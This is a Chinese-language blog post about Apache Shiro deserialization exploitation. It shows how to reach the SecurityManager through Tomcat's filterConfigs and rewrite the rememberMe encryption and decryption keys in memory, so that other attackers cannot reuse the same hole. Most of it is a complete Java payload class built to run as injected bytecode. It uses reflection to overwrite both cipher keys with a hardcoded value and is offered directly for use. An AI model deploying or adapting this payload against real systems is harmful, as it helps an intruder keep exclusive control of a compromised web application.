今天 哦 已经是昨天了 在群里看见有人发了个推特的截图 讲的是shiro反序列化改Key 让别人打不进去
其实早就知道这个姿势了 而且听朋友说qax那边的攻击队早就把这个武器化了 不过貌似一直没人发的样子(可能因为太简单了) 自己也没想过去看 今天正好看一下 过程中属于是没少踩坑 果然还是得多实践

基本原理

像内存马一样,key也是内存中存储的一个变量,在代码里叫做encryptionCipherKey和decryptionCipherKey,对于非static变量来说,我们需要在自己当前的代码执行环境里找到一条通往存放了要修改的变量的实例的调用链就可以做到使用反射修改。

失败的尝试

最开始从shiro解密下断点 调用栈回溯了一下 发现shiro的很多东西是存在subject里的

而shiro存在这么一个静态方法 直接返回subject

我火速构造调用链 放在控制器里一跑 以为稳了
结果反序列化场景下报错了

他找不到security Manager
这个方法深跟下去会走到这里

    private static Object getValue(Object key) {
        Map<Object, Object> perThreadResources = resources.get();
        return perThreadResources != null ? perThreadResources.get(key) : null;
    }

经过反复调试 我发现问题在于,ThreadContext是通过bind方法来把securityManager放入自己的ThreadLocal中的 而bind中put的实现正好对应了上面的get

    public static void put(Object key, Object value) {
        if (key == null) {
            throw new IllegalArgumentException("key cannot be null");
        }

        if (value == null) {
            remove(key);
            return;
        }

        ensureResourcesInitialized();
        resources.get().put(key, value);

        if (log.isTraceEnabled()) {
            String msg = "Bound value of type [" + value.getClass().getName() + "] for key [" +
                    key + "] to thread " + "[" + Thread.currentThread().getName() + "]";
            log.trace(msg);
        }
    }

而在getSubject和bind上打断点 会发现在shiro的运作过程中 是先反序列化 再进行bind 的 所以这条调用链 在当前场景走不通 (目测可以在字节码里写Controller 然后把调用链写进Controller里执行 不过我自己没试 而且多一个请求 多一份麻烦)

内存马梅开二度

卡了很久之后不甘心 又往前调了调请求流程 一调 好家伙 原来去filterconfigs里就能拿到sercuritymanager 梦回内存马了属于是

然后就非常简单了..
直接放payload吧

package com.p3rh4ps.byteCodes;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;

import org.apache.shiro.web.mgt.CookieRememberMeManager;

import org.apache.tomcat.util.descriptor.web.FilterDef;

import javax.servlet.ServletContext;

import java.lang.reflect.Field;
import java.util.Map;

public class editShiroKey extends AbstractTranslet{
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    static{
        try { ;
            Class c = Class.forName("org.apache.catalina.core.StandardContext");

            org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
                    (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

            ServletContext servletContext = standardContext.getServletContext();

            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            ApplicationFilterConfig tmp = (ApplicationFilterConfig) filterConfigs.get("shiroFilterFactoryBean");
            Field filterDef = getField(tmp,"filterDef");
            FilterDef filterDefIns = (FilterDef)filterDef.get(tmp);
            Field filter = getField(filterDefIns,"filter");
            Object filterIns = filter.get(filterDefIns);
            Field securityM = getField(filterIns,"securityManager");
            org.apache.shiro.mgt.SecurityManager securityInstance = (org.apache.shiro.mgt.SecurityManager)securityM.get(filterIns);
            CookieRememberMeManager CookieRem = (CookieRememberMeManager) getField(securityInstance,"rememberMeManager").get(securityInstance);

            byte[] key = java.util.Base64.getDecoder().decode("brsHuEkyrfhlglWqow+Rfg==");
            setFieldValue(CookieRem,"encryptionCipherKey",key);
            setFieldValue(CookieRem,"decryptionCipherKey",key);


        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void setFieldValue(Object object,String fieldName,Object fieldValue) throws Exception {
        Field field =  getField(object,fieldName);
        field.set(object,fieldValue);
    }

    public static Field getField(Object object,String fieldName) throws Exception{
        Class clas = object.getClass();
        Field field = null;
        while (clas != Object.class){
            try {
                field = clas.getDeclaredField(fieldName);
                break;
            } catch (NoSuchFieldException e){
                clas = clas.getSuperclass();
            }
        }

        if (field != null){
            field.setAccessible(true);
            return field;
        }else {
            return null;
        }
    }
}

Categories: 技术

0 Comments

发表评论

Avatar placeholder

您的电子邮箱地址不会被公开。 必填项已用*标注